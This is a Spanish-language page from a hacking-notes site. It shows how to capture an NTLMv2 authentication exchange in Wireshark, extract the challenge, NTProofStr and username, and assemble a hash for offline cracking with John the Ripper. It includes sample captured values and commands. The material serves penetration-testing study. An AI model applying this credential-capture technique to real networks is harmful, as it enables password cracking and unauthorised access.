> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/ntlm-roasting.md).

# NTLM Roasting

Desde una máquina Windows, primero provocamos la autenticación NTLM.

{% code overflow="wrap" %}

```bash
dir //172.16.0.10/c$
```

{% endcode %}

Si capturamos tráfico en Wireshark, podemos filtrar por `NTLMSSP`.

<figure><img src="/files/d9939b5acd69a503bb2072f6e51f6b34c74153ac" alt=""><figcaption></figcaption></figure>

Luego recuperamos el desafío enviado por el servidor.

* 9dcfb27e14194959

<figure><img src="/files/9272a45db3921554abdb67cac412b55d0617b1fb" alt="" width="563"><figcaption></figcaption></figure>

En la respuesta, también encontramos la parte cifrada enviada por el cliente.

{% code overflow="wrap" %}

```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

<figure><img src="/files/2d111cae3ba7ccedce6c3bb1b950174d1a3f9662" alt=""><figcaption></figcaption></figure>

También observamos el `NTProofStr`.

* d4742b082e949c7f93311599134ffb9b

<figure><img src="/files/ed72156b6454a170e7da8cd6dfe7bd7ec6cadd01" alt=""><figcaption></figcaption></figure>

Por último, debes identificar el nombre de usuario que realiza la solicitud.

* Administrator

<figure><img src="/files/e3cd10ac596730bbc5fd31679f7515bd06b770dc" alt=""><figcaption></figcaption></figure>

Luego, todos estos valores se ensamblan en el formato esperado por la herramienta de cracking.

{% code overflow="wrap" %}

```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```

{% endcode %}

{% code overflow="wrap" %}

```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```

{% endcode %}

Desde Linux, entonces podemos intentar descifrar la respuesta NTLMv2.

{% code overflow="wrap" %}

```bash
john admin.ntlmv2
```

{% endcode %}

<figure><img src="/files/b12327927a050e166b2f665dbb839c473b8599ab" alt=""><figcaption></figcaption></figure>


---

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